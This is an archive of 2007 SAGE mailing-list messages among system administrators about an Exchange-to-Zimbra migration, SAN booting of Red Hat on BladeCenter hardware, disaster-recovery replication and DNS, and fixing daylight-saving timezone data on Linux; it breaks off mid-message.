Subject: Re: [SAGE] Exchange work-alikes
From: Jonathan Rozes <jonathan@laika.com>
To: Nicholas Tang <nicholastang@gmail.com>, Nate <nate@seekio.com>
CC: <sage-members@usenix.org>
Message-ID: <C215A119.80F93%jonathan@laika.com>
Thread-Topic: [SAGE] Exchange work-alikes
Thread-Index: Acdhtk0ri29b5s2pEdu96gAX8sZsFw==
In-Reply-To: <d9757b460703071842t7e4c62a3g8ca0824345081e51@mail.gmail.com>
Mime-version: 1.0
Content-type: text/plain;
	charset="US-ASCII"
Content-transfer-encoding: 7bit
X-Spam-Flag: NO
X-Scanned-By: milter-spamc/0.25.321 (smtp1.laika.com [10.111.222.6]);
	Thu, 08 Mar 2007 11:16:42 -0800
X-Spam-Status: NO, hits=0.40 required=6.00
X-Spam-Level: 
X-Spam-Report: Content analysis details:   (0.4 points, 6.0 required) ____
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	0.4 AWL AWL: From: address is in the auto white-list ____
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/7/07 6:42 PM, "Nicholas Tang" <nicholastang@gmail.com> wrote:

> I'd also be very curious to see if anyone on the list has ever moved
> away from Exchange and into another system, and what their experience
> has been.

We're a few weeks away from a Zimbra migration. Our requirements were fairly
broad (delegation, resource scheduling, offline access, Blackberry/Palm/etc.
syncing, and so on). The features we'll lose from Exchange are minor and are
vastly outweighed by the gains (we have a large base of linux and osx users,
so improving calendar and scheduling reliability for them was one of the
major drivers of this project). I'll try to followup again post-deployment.

Jonathan


-- 
Jonathan Rozes
director, information technology, LAIKA Inc.
+1 503 467 0202 t



From sage-members-owner@usenix.org Fri Mar  9 14:32:40 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l29MWdeM022147
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 9 Mar 2007 14:32:39 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l29MWcYn022146
	for sage-members-0utGoign; Fri, 9 Mar 2007 14:32:39 -0800 (PST)
Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.249])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l29MWM8x022134
	for <sage-members@sage.org>; Fri, 9 Mar 2007 14:32:33 -0800 (PST)
Received: by an-out-0708.google.com with SMTP id d23so789131and
	for <sage-members@sage.org>; Fri, 09 Mar 2007 14:32:16 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=N+jUIAA4SMljpw/phWjEFRM8nSvjyk8rmDQ721H5xiB2G+WssBPOjsoPuvOPpVYHDqV97D6Ww5BXMg2wcgv/jwn4cQ+o7TSPvIaVoUIxfFBruTAcWXjnYyPd2Oz1SVBDnV9YsQx39lPc9g4FPxGSnpAuETqPnCxOs1u3cMllvLI=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=gUhI7U6WSl5UU46T+S6YFj4Cy0cy17EDrpRp4cXluB7vgt1us48HCBc6fzasPqZIYdx8lnAXRXJdmhPRk5kO/HfwU42Np8GoHzg4L57nwGLqOXcTxxFhbu1ymmtNUvFw0N/ugiCuCb0oeRzlKEblhfsJLkv0rUCgpKYMS79oMCg=
Received: by 10.114.158.1 with SMTP id g1mr873929wae.1173479109909;
	Fri, 09 Mar 2007 14:25:09 -0800 (PST)
Received: by 10.114.125.12 with HTTP; Fri, 9 Mar 2007 14:25:09 -0800 (PST)
Message-ID: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
Date: Fri, 9 Mar 2007 14:25:09 -0800
From: "Doug Hanks" <dhanks@gmail.com>
To: "SAGE mailing list" <sage-members@sage.org>
Subject: [SAGE] Booting RedHat from SAN
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-DCC--Metrics: voyager 1356; Body=2 Fuz1=2 Fuz2=2 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi all,

Our current strategic direction is to boot operating systems from SAN
and use geographical replication for disaster recovery.

Does anyone have any engineering experience that aligns with this
strategy?  Our current engineering direction is to use RedHat AS 4;
NetApp; and HP BladeCenter.

Our current goal is to have RHEL4-U4 booting from an HP BladeCenter
that is attached to NetApp storage.  We'll be using the QLogic HBAs in
the blades.

Thanks,

-- 
- Doug Hanks = dhanks(at)gmail(dot)com


From sage-members-owner@usenix.org Sat Mar 10 01:55:34 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2A9tYsZ004236
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 10 Mar 2007 01:55:34 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2A9tXnD004235
	for sage-members-0utGoign; Sat, 10 Mar 2007 01:55:33 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2A9tIaD004229
	for <sage-members@sage.org>; Sat, 10 Mar 2007 01:55:29 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 74so1606397ugb
	for <sage-members@sage.org>; Sat, 10 Mar 2007 01:55:11 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:user-agent:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=eWZXnULMWI2mXKFwFptX4zjBC2Lv98dyzZ4wgvNM3gn94jY0GP2PE4rtyXX8FKuirc4jnhAlXyZYv8uki+e0emZmLdThalhvHt8uJhDAzSBgEJlkQnfEG8oa47p7rhe1E6mWARcNNKMPpYXBmigv8BIAYrzsWrL++rPo8SbrfDk=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:user-agent:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=j367x5SXMV8MMnRo201Q/jHPbI8jx5pSVSR0dFwiNiLZOWJ2CGkwWWitChjaIfJ4gzxm8Vinj7tC47f8t4JURw1vfoCcSzvZ8Z2vwE/IXo1aNCFlZN+rJmld1uXvexJqTQtnSNZAiNIbpwZJo+P1/V3jii+jBMpPBa8aenR6+fo=
Received: by 10.67.99.1 with SMTP id b1mr11819219ugm.1173520086183;
	Sat, 10 Mar 2007 01:48:06 -0800 (PST)
Received: from ?192.168.1.2? ( [217.133.8.17])
	by mx.google.com with ESMTP id e9sm12850805muf.2007.03.10.01.48.04;
	Sat, 10 Mar 2007 01:48:05 -0800 (PST)
Message-ID: <45F27ED2.1020307@gmail.com>
Date: Sat, 10 Mar 2007 10:48:02 +0100
From: Marco Marongiu <brontolinux@gmail.com>
User-Agent: Icedove 1.5.0.9 (X11/20061220)
MIME-Version: 1.0
To: Doug Hanks <dhanks@gmail.com>
CC: SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] Booting RedHat from SAN
References: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
In-Reply-To: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Ciao Doug

Doug Hanks wrote:
> Does anyone have any engineering experience that aligns with this
> strategy?  Our current engineering direction is to use RedHat AS 4;
> NetApp; and HP BladeCenter.
>
> Our current goal is to have RHEL4-U4 booting from an HP BladeCenter
> that is attached to NetApp storage.  We'll be using the QLogic HBAs in
> the blades.
Don't know about booting from SAN (and I would be very interested in the
subject), but at the ISP I work for I successfully configured our Red
Hat AS4 with a set-up similar to yours. We use SUN v40z hardware, double
qlogic HBAs of the 24xx class (I think it was 2462, I don't remeber
exactly which model and I can't reach Qlogic's site at the moment...)
for hardware redundancy. We mount LUNs from a NetApp cluster and we
reach each LUN from four different paths; the access to the LUN is
mediated by the device mapper multipath for resiliency.

I stop here since I may be off-topic. In case this configuration is of
any interest for you just let me know and I'll try to give some more detail.

Ciao
--bronto



From sage-members-owner@usenix.org Sat Mar 10 07:47:39 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AFlRwb011068
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 10 Mar 2007 07:47:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2AFlRW2011067
	for sage-members-0utGoign; Sat, 10 Mar 2007 07:47:27 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AFksM1011055
	for <sage-members@sage.org>; Sat, 10 Mar 2007 07:47:04 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 77E183ADEC; Sat, 10 Mar 2007 10:46:28 -0500 (EST)
Date: Sat, 10 Mar 2007 10:46:28 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: SAGE mailing list <sage-members@sage.org>
Subject: Re: [SAGE] Booting RedHat from SAN
Message-ID: <20070310154628.GC3148@watson-wilson.ca>
References: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
In-Reply-To: <82a71f8a0703091425tb991ed9kc6a504eeb68ffc62@mail.gmail.com>
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I heard that the HBA's are not dual path aware when you boot from them.
If one link failed the system would reboot.

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 11 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Sat Mar 10 07:52:04 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AFq3MK011158
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 10 Mar 2007 07:52:03 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2AFq323011157
	for sage-members-0utGoign; Sat, 10 Mar 2007 07:52:03 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AFpub7011150
	for <sage-members@sage.org>; Sat, 10 Mar 2007 07:52:01 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id BB5643ADEC; Sat, 10 Mar 2007 10:51:43 -0500 (EST)
Date: Sat, 10 Mar 2007 10:51:43 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: [SAGE] Disaster Recovery
Message-ID: <20070310155143.GD3148@watson-wilson.ca>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

We are setting up a DR site at work.  Our core servers are both virtual
(VMware) and physical.  The VMware servers are replicated in near real
time at the SAN level.  Does anyone know of a way to replicate live
physical servers without taking them out of service?

Also, at a DR site how do you deal with public IP addresses?  Does the
DR site have the same IPs?  How does one go about doing that?  If the
IPs are different are you forced to keep two sets of DNS records?  Would
that not delay disaster recovery time for up to 48 hours while waiting
for the new DNS records to propagate?

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 11 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Sat Mar 10 09:05:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AH5Un9013066
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 10 Mar 2007 09:05:30 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2AH5UW1013065
	for sage-members-0utGoign; Sat, 10 Mar 2007 09:05:30 -0800 (PST)
Received: from anchor-fallback-94.mail.demon.net
	(anchor-fallback-94.mail.demon.net [194.217.242.94])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AH54gR013033
	for <sage-members@sage.org>; Sat, 10 Mar 2007 09:05:14 -0800 (PST)
Received: from anchor-post-33.mail.demon.net ([194.217.242.91]:1136 "EHLO
	anchor-post-33.mail.demon.net") by anchor-fallback-94.mail.demon.net
	with ESMTP id S556231AbXCJREv (ORCPT <rfc822;sage-members@sage.org>);
	Sat, 10 Mar 2007 17:04:51 +0000
Received: from guyver.demon.co.uk ([62.49.6.63])
	by anchor-post-33.mail.demon.net with esmtp (Exim 4.42)
	id 1HQ4zG-000Hnx-Aj; Sat, 10 Mar 2007 17:04:06 +0000
Received: from localhost (localhost.home [127.0.0.1])
	by guyver.demon.co.uk (Postfix) with ESMTP id B5B551B1AB6;
	Sat, 10 Mar 2007 17:04:05 +0000 (GMT)
Received: from guyver.demon.co.uk ([127.0.0.1])
	by localhost (jabberwock.home [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21066-02; Sat, 10 Mar 2007 17:03:38 +0000 (GMT)
Received: from [127.0.0.1] (unknown [192.168.1.101])
	by guyver.demon.co.uk (Postfix) with ESMTP id 37A5B1B1842;
	Sat, 10 Mar 2007 17:03:37 +0000 (GMT)
Message-ID: <45F2E4E7.2040200@guyver.demon.co.uk>
Date: Sat, 10 Mar 2007 17:03:35 +0000
From: Martin Jackson <martin@guyver.demon.co.uk>
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
MIME-Version: 1.0
To: Neil Watson <sage@watson-wilson.ca>
Cc: sage-members@sage.org
Subject: Re: [SAGE] Disaster Recovery
References: <20070310155143.GD3148@watson-wilson.ca>
In-Reply-To: <20070310155143.GD3148@watson-wilson.ca>
X-Enigmail-Version: 0.94.0.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Antivirus: avast! (VPS 000722-4, 09/03/2007), Outbound message
X-Antivirus-Status: Clean
X-Virus-Scanned: amavisd-new at guyver.demon.co.uk
X-DCC--Metrics: voyager 104; bulk rep Body=many Fuz1=many Fuz2=many rep=30%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Neil Watson wrote:
> We are setting up a DR site at work.  Our core servers are both virtual
> (VMware) and physical.  The VMware servers are replicated in near real
> time at the SAN level.  Does anyone know of a way to replicate live
> physical servers without taking them out of service?
There's a whole host of tools to do this a few of they are NSI's
Double-Take, Symantec's Backup Exec System Recovery (formerly called
LiveState), Bakbone's replicator and Platespin are looking to get into
this market to extend their current offering of just straight P2V migration.
>
> Also, at a DR site how do you deal with public IP addresses?  Does the
> DR site have the same IPs?  How does one go about doing that?  If the
> IPs are different are you forced to keep two sets of DNS records?  Would
> that not delay disaster recovery time for up to 48 hours while waiting
> for the new DNS records to propagate?
>

We use NAT with UltraDNS's sitebacker service, you could also manage
your own DNS and set the expiry intervals really low so that "well
configured" DNS servers will observe that your DNS server requires more
regular propagation or immediate propagation.

Cheers

-Martin


From sage-members-owner@usenix.org Sat Mar 10 09:07:55 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AH7dhs013182
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sat, 10 Mar 2007 09:07:39 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2AH7dsP013181
	for sage-members-0utGoign; Sat, 10 Mar 2007 09:07:39 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2AH71JA013145
	for <sage-members@sage.org>; Sat, 10 Mar 2007 09:07:11 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 10DE541C022;
	Sat, 10 Mar 2007 12:05:31 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 23861-05; Sat, 10 Mar 2007 12:05:29 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id 0AD4941C00B;
	Sat, 10 Mar 2007 12:05:29 -0500 (EST)
Received: from [172.16.1.2] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l2AH6B3x051824;
	Sat, 10 Mar 2007 12:06:44 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240505c218941447dd@[172.16.1.2]>
In-Reply-To: <20070310155143.GD3148@watson-wilson.ca>
References: <20070310155143.GD3148@watson-wilson.ca>
Date: Sat, 10 Mar 2007 11:01:47 -0600
To: Neil Watson <sage@watson-wilson.ca>, sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Disaster Recovery
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.331 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.068, BAYES_00=-2.599]
X-Spam-Score: -4.331
X-Spam-Level: 
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 10:51 AM -0500 3/10/07, Neil Watson wrote:

>  We are setting up a DR site at work.  Our core servers are both virtual
>  (VMware) and physical.  The VMware servers are replicated in near real
>  time at the SAN level.  Does anyone know of a way to replicate live
>  physical servers without taking them out of service?

If you need to replicate the state of the servers, why not just use 
VMware-style virtual servers for everything?  Just dedicate an entire 
machine to hosting those virtual servers that need the resources.

>  Also, at a DR site how do you deal with public IP addresses?  Does the
>  DR site have the same IPs?

Sure, you can do that.

>                              How does one go about doing that?

It's called "anycast".  You're playing tricks with the routing tables 
on the Internet.

The ISC has some white papers on how they do this sort of thing with 
the root nameserver they operate.  See the full list of white papers 
at <http://www.isc.org/pubs/tn/>, and pay particular attention to 
ISC-TN-2003-1.

>                                                                 If the
>  IPs are different are you forced to keep two sets of DNS records?

You could do that.

>                                                                     Would
>  that not delay disaster recovery time for up to 48 hours while waiting
>  for the new DNS records to propagate?

So don't set your TTLs that long.  Set them to something like five 
minutes, or an hour.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
LinkedIn Profile: <http://tinyurl.com/y8kpxu>
Slides from Invited Talks: <http://tinyurl.com/tj6q4>


From sage-members-owner@usenix.org Sun Mar 11 10:05:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2BH5oYF007758
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 11 Mar 2007 10:05:56 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2BH5o4Z007757
	for sage-members-0utGoign; Sun, 11 Mar 2007 10:05:50 -0700 (PDT)
Received: from soyokaze.cynistar.net (soyokaze.cynistar.net [66.143.181.9])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2BH5MKY007745
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Sun, 11 Mar 2007 10:05:33 -0700 (PDT)
Received: from [66.143.181.9] (soyokaze.cynistar.net [66.143.181.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by soyokaze.cynistar.net (Postfix) with ESMTP id 9E69639B7CD;
	Sun, 11 Mar 2007 11:43:19 -0500 (CDT)
Message-ID: <45F431A7.5070605@cynistar.net>
Date: Sun, 11 Mar 2007 11:43:19 -0500
From: Bob Apthorpe <apthorpe@cynistar.net>
User-Agent: Thunderbird 1.5.0.10 (X11/20070306)
MIME-Version: 1.0
CC: SAGE mailing list <sage-members@sage.org>, tech@lopsa.org
Subject: [SAGE] Re: [lopsa-tech] DST gcc/glibc problems on Linux
References: <bb075cdf0703080843r268e0f0brb7b213ab432bcc6c@mail.gmail.com>
In-Reply-To: <bb075cdf0703080843r268e0f0brb7b213ab432bcc6c@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Cynistar-MailScanner-Information: Please contact <support@cynistar.net> for
	more information
X-Cynistar-MailScanner: Found to be clean
X-Cynistar-MailScanner-SpamCheck: not spam, SpamAssassin (score=-16.799,
	required 7, autolearn=not spam, ALL_TRUSTED -1.80, BAYES_00 -15.00,
	DK_POLICY_SIGNSOME 0.00)
X-Cynistar-MailScanner-From: apthorpe@cynistar.net
X-Spam-Status: No
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hi,

I know, I'm responding to this embarassingly late...

Rodrick Brown wrote:
> I have a fairly large application which is not working properly
> during the new DST times ONLY. It has errors between March 11 2:00 am
> and April 2nd 1:59 am. It works fine after April 2nd 2:00 am.
> 
> We believe glibc is causing it to report incorrect timezone or DST
> for the new DST. Anyone here off hand know if there are any gcc/glibc
> related issues with DST or patches needed for Red hat Linux AS 3
> update 5. I have not been able to find anything thanks.

At some point post-AS3, timezone info was split out of the glibc package
into its own package which complicates fixing the timezone data.

I couldn't find an AS3-specific RPM to update timezone data and the
rebuild CentOS SRPMS conflicted with glibc so I just downloaded the
timezone source data and manually replaced the America/* files under
/usr/share/zoneinfo with zic (zones in Canada & Australia have changed
too, fwiw.) Finally, I used 'zdump -v | grep 2007' to check all my hosts.

belatedly hth,

-- Bob


From sage-members-owner@usenix.org Sun Mar 11 12:50:21 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2BJoCK4010494
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 11 Mar 2007 12:50:19 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2BJoC3u010493
	for sage-members-0utGoign; Sun, 11 Mar 2007 12:50:12 -0700 (PDT)
Received: from permanently.misplaced.net (root@permanently.misplaced.net
	[63.231.235.20])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2BJnjWq010480
	for <sage-members@sage.org>; Sun, 11 Mar 2007 12:49:53 -0700 (PDT)
Received: from permanently.misplaced.net (btoneill@localhost [127.0.0.1])
	by permanently.misplaced.net (8.13.6/8.13.6) with ESMTP id
	l2BJeLxc019438; Sun, 11 Mar 2007 14:40:21 -0500 (CDT)
Received: (from btoneill@localhost)
	by permanently.misplaced.net (8.13.6/8.12.10/Submit) id l2BJeKJV019437; 
	Sun, 11 Mar 2007 14:40:20 -0500 (CDT)
Date: Sun, 11 Mar 2007 14:40:20 -0500
From: "Brian T. O'Neill" <btoneill@misplaced.net>
To: Bob Apthorpe <apthorpe@cynistar.net>
Cc: SAGE mailing list <sage-members@sage.org>, tech@lopsa.org
Subject: Re: [SAGE] Re: [lopsa-tech] DST gcc/glibc problems on Linux
Message-ID: <20070311194020.GT27806@misplaced.net>
Mail-Followup-To: "Brian T. O'Neill" <btoneill@misplaced.net>,
	Bob Apthorpe <apthorpe@cynistar.net>,
	SAGE mailing list <sage-members@sage.org>, tech@lopsa.org
References: <bb075cdf0703080843r268e0f0brb7b213ab432bcc6c@mail.gmail.com>
	<45F431A7.5070605@cynistar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <45F431A7.5070605@cynistar.net>
User-Agent: Mutt/1.4.2i
X-DCC-dmv.com-Metrics: voyager 1181; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk

There are too timezone parts.

There is the Olson timezone info, which is in the zoneinfo/timezone
files. There is also POSIX timezone info, which is hardcoded into
libc/glibc. If your app uses the US/Eastern or whatever, it uses Olson
timezone, which is fixed with zonefino/timezone files. If it uses
EST+5EDT or such as the TZ info, it uses POSIX timezone info which is in
libc/glibc. You either need to updated libc/glibc or if the version you
hvae supports it, you can do like:
EST+5EDT,M3.2.0/2,M11.1.0/2

Which means 2nd sunday in march at 2am and 1st sunday in nov at 2am.

Make sense?

Brian

Quoting Bob Apthorpe (apthorpe@cynistar.net) from  :
> Hi,
> 
> I know, I'm responding to this embarassingly late...
> 
> Rodrick Brown wrote:
> > I have a fairly large application which is not working properly
> > during the new DST times ONLY. It has errors between March 11 2:00 am
> > and April 2nd 1:59 am. It works fine after April 2nd 2:00 am.
> > 
> > We believe glibc is causing it to report incorrect timezone or DST
> > for the new DST. Anyone here off hand know if there are any gcc/glibc
> > related issues with DST or patches needed for Red hat Linux AS 3
> > update 5. I have not been able to find anything thanks.
> 
> At some point post-AS3, timezone info was split out of the glibc package
> into its own package which complicates fixing the timezone data.
> 
> I couldn't find an AS3-specific RPM to update timezone data and the
> rebuild CentOS SRPMS conflicted with glibc so I just downloaded the
> timezone source data and manually replaced the America/* files under
> /usr/share/zoneinfo with zic (zones in Canada & Australia have changed
> too, fwiw.) Finally, I used 'zdump -v | grep 2007' to check all my hosts.
> 
> belatedly hth,
> 
> -- Bob

-- 
btoneill@misplaced.net

****************************************************************************
UNIX is simple and coherent, but it takes a genius (or at any rate a 
programmer) to understand and appreciate the simplicity."  - Dennis Ritchie
****************************************************************************


From sage-members-owner@usenix.org Sun Mar 11 20:58:25 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2C3w5Dl017320
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Sun, 11 Mar 2007 20:58:11 -0700 (PDT)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2C3w50m017318
	for sage-members-0utGoign; Sun, 11 Mar 2007 20:58:05 -0700 (PDT)
Received: from mail.indeterminate.net (host-8.colo.spiretech.com
	[207.173.206.8])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2C3vNdU017296
	for <sage-members@sage.org>; Sun, 11 Mar 2007 20:57:33 -0700 (PDT)
Received: from olivia.indeterminate.net (olivia.indeterminate.net
	[207.173.206.8])
	by mail.indeterminate.net (8.11.6/8.11.6) with ESMTP id l2C3v3d04437;
	Sun, 11 Mar 2007 19:57:05 -0800
Date: Sun, 11 Mar 2007 19:57:03 -0800 (PST)
From: John Costello <cos@indeterminate.net>
To: sage-members@sage.org
cc: tech@lopsa.org
Subject: Re: [SAGE] Re: [lopsa-tech] DST gcc/glibc problems on Linux
In-Reply-To: <45F431A7.5070605@cynistar.net>
Message-ID: <Pine.LNX.4.44.0703111953070.4374-100000@olivia.indeterminate.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Sun, 11 Mar 2007, Bob Apthorpe wrote:

> Hi,
> 
> I know, I'm responding to this embarassingly late...

As am I, but I just found the Linux Watch article.
 
> Rodrick Brown wrote:
> > I have a fairly large application which is not working properly
> > during the new DST times ONLY. It has errors between March 11 2:00 am
> > and April 2nd 1:59 am. It works fine after April 2nd 2:00 am.
> > 
> > We believe glibc is causing it to report incorrect timezone or DST
> > for the new DST. Anyone here off hand know if there are any gcc/glibc
> > related issues with DST or patches needed for Red hat Linux AS 3
> > update 5. I have not been able to find anything thanks.
> 
> At some point post-AS3, timezone info was split out of the glibc package
